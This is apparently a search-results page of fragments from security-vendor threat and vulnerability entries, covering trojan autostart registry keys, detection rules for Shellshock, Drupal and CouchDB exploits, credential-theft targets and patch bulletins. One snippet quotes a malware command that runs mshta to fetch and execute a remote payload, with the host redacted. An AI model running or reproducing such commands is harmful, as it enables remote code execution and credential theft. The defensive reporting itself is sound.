Search

and 7.) Autostart Technique This Trojan adds the following registry entries to enable its automatic execution at every system startup: HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Run MS

system startup: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run MS Virtual CLS = "%System%\msvmcls64.exe" This report is generated via an automated analysis system. Spammer:Win32/Tedroo.A

applications: MS Sql Servu FTP Radmin Pcanywhere (Caller Information Template file) Get List of Administrators Backdoor:ASP/Ace (Microsoft), Troj/ASPAce-Fam (Sophos) Dropped by other malware, Downloaded from the

Defense Firewall (IDF) plugin are also protected from attacks using these vulnerabilities. Please refer to the filter number and filter name when applying appropriate DPI and/or IDF rules. MS Bulletin ID

Description Name: CVE-2018-8007 Apache CouchDB Remote Code Execution Exploit - HTTP (Request) - Variant 2 . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Moveme...

Description Name: CVE-2014-6271 - Shellshock DHCP Exploit . This is Trend Micro detection for SMTP network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting this type of network beha...

Description Name: CVE-2014-6271 - Shellshock POP3 Exploit . This is Trend Micro detection for POP3 network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting this type of network beha...

Description Name: CVE-2014-6271 - Shellshock SMTP Exploit . This is Trend Micro detection for SMTP network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting this type of network beha...

Description Name: CVE-2014-6271 - SHELLSHOCK DNS Exploit . This is Trend Micro detection for DNS network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting this type of network behavi...

Description Name: CVE-2018-7600 - Drupal Remote Code Execution - HTTP (Request) . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting thi...

Description Name: CVE-2014-6271 - SHELLSHOCK VoIP SIP Exploit . This is Trend Micro detection for SIP2 network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting this type of network ...

Installation This Trojan adds the following processes: CMD.EXE /c ms^hta http://{BLOCKED}.2^{BLOCKED}.1{BLOCKED}.1^{BLOCKED}/vvv/ppp/f^e.ht^m^l mshta http://{BLOCKED}.2{BLOCKED}.1{BLOCKED}.1{BLOCKED

such as server, username and password from the following: Microsoft FTP FileZilla FTP Commander JDownloder v2.0 Steam Attempts to get stored credential from the following: Eudora MS Outlook MS Outlook

system.exe = "{malware path and file name}" HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Run ms = "C" HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Run msconfig = "C

worksheet named Sheet17 and copies the content from the infected MS Excel file to the open workbook.

following software vulnerabilities to drop malicious files: CVE-2013-3906 Other Details More information on this vulnerability can be found below: MS Advisory (2896666) Vulnerability in Microsoft Graphics

Troj/Fareit-DFS (Sophos); Trojan.Win32.Generic!BT (Sunbelt); Trojan horse MSIL11.BETT, Trojan horse SCGeneric1.ABWZ, Trojan horse SCGeneric1.YSO, Trojan horse MS (AVG)

“Sandworm” October 2014 Patch Tuesday Fixes Sandworm Vulnerability MS Zero-Day Used in Attacks Against European Sectors, Industries Sandworm to Blacken: The SCADA Connection Downloaded from the Internet

IDF First Pattern Release Version CVE-2010-3230 1004475 - Excel Record Parsing Integer Overflow Vulnerability 10-032 Oct 13, 2010 CVE-2010-3232 1004470 - MS Excel File Format Parsing Vulnerability

plugin are also protected from attacks using these vulnerabilities. MS Bulletin ID Vulnerability ID DPI Rule Number DPI Rule Name Release Date IDF Compatibility MS12-061 CVE-2012-1892 1000552 Generic Cross